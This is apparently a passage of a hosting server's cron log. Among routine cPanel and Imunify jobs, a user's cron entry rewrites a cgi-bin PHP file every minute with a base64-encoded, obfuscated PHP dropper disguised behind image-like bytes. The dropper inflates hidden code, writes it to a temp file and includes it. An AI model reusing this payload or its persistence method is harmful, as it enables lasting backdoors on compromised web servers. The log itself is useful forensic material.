--decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:41:01 server CROND[11337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:41:01 server CROND[11338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:41:01 server CROND[11339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:42:01 server CROND[11815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:42:01 server CROND[11816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:42:01 server CROND[11817]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 21:42:01 server CROND[11819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:43:01 server CROND[12194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:43:01 server CROND[12195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:43:01 server CROND[12196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:44:01 server CROND[12615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:44:01 server CROND[12616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:44:01 server CROND[12618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:45:01 server CROND[12985]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:45:01 server CROND[12986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:45:01 server CROND[12989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:45:01 server CROND[12990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:45:01 server CROND[12987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:45:01 server CROND[12991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:45:01 server CROND[12992]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:46:01 server CROND[13809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:46:01 server CROND[13810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:46:01 server CROND[13811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:47:01 server CROND[14301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:47:01 server CROND[14302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:47:01 server CROND[14303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:48:01 server CROND[14704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:48:01 server CROND[14705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:48:01 server CROND[14706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:49:01 server CROND[15063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:49:01 server CROND[15064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:49:01 server CROND[15062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:50:01 server CROND[15449]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 21:50:01 server CROND[15452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:50:01 server CROND[15451]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:50:01 server CROND[15457]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:50:01 server CROND[15456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:50:01 server CROND[15455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:50:01 server CROND[15458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:50:01 server CROND[15453]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:50:01 server CROND[15454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:51:01 server CROND[16277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:51:01 server CROND[16279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:51:01 server CROND[16278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:52:01 server CROND[16745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:52:01 server CROND[16746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:52:01 server CROND[16747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:53:01 server CROND[17118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:53:01 server CROND[17119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
